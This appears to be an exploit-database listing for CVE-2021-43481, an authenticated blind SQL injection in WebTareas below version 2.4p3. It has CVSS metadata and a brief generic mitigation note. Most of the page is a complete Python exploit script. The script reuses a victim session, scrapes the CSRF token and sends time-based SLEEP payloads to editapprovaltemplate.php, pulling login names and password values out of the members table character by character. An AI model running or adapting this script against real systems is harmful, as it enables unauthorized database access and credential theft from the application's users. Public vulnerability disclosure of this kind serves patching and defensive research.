header-logo
Suggest Exploit
vendor:
WebTareas
by:
Behrad Taher
9.8
CVSS
CRITICAL
Blind SQL Injection
89
CWE
Product Name: WebTareas
Affected Version From: < 2.4p3
Affected Version To: Not specified
Patch Exists: NO
Related CWE: CVE-2021-43481
CPE: Not specified
Metasploit:
Other Scripts:
Platforms Tested:
2022

WebTareas 2.4 – Blind SQLi (Authenticated)

This exploit allows an attacker to perform blind SQL injection attacks on the WebTareas 2.4 application. By exploiting the vulnerability, an attacker can extract login credentials and passwords from the application's database.

Mitigation:

The vendor should release a patch that fixes the SQL injection vulnerability. In the meantime, users should avoid using the affected version of the software or implement additional security measures to protect against SQL injection attacks.
Source

Exploit-DB raw data:

# Exploit Title: WebTareas 2.4 - Blind SQLi (Authenticated)
# Date: 04/20/2022
# Exploit Author: Behrad Taher
# Vendor Homepage: https://sourceforge.net/projects/webtareas/
# Version: < 2.4p3
# CVE : CVE-2021-43481

#The script takes 3 arguments: IP, user ID, session ID
#Example usage: python3 webtareas_sqli.py 127.0.0.1 1 4au5376dddr2n2tnqedqara89i

import requests, time, sys
from bs4 import BeautifulSoup
ip = sys.argv[1]
id = sys.argv[2]
sid = sys.argv[3]

def sqli(column):
    print("Extracting %s from user with ID: %s\n" % (column,id))
    extract = ""
    for i in range (1,33):
        #This conditional statement will account for variable length usernames
        if(len(extract) < i-1):
            break
        for j in range(32,127):
            injection = "SELECT 1 and IF(ascii(substring((SELECT %s FROM gW8members WHERE id=1),%d,1))=%d,sleep(5),0);" % (column,i,j)
            url = "http://%s/approvals/editapprovaltemplate.php?id=1" % ip
            GET_cookies = {"webTareasSID": "%s" % sid}
            r = requests.get(url, cookies=GET_cookies)
            #Because the app has CSRF protection enabled we need to send a get request each time and parse out the CSRF Token"
            token = BeautifulSoup(r.text,features="html.parser").find('input', {'name':'csrfToken'})['value']
            #Because this is an authenticated vulnerability we need to provide a valid session token
            POST_cookies = {"webTareasSID": "%s" % sid}
            POST_data = {"csrfToken": "%s" % token, "action": "update", "cd": "Q", "uq": "%s" % injection}
            start = time.time()
            requests.post(url, cookies=POST_cookies, data=POST_data)
            end = time.time() - start
            if end > 5:
                extract += chr(j)
                print ("\033[A\033[A")
                print(extract)
                break
#Modularized the script for login and password values
sqli("login")
sqli("password")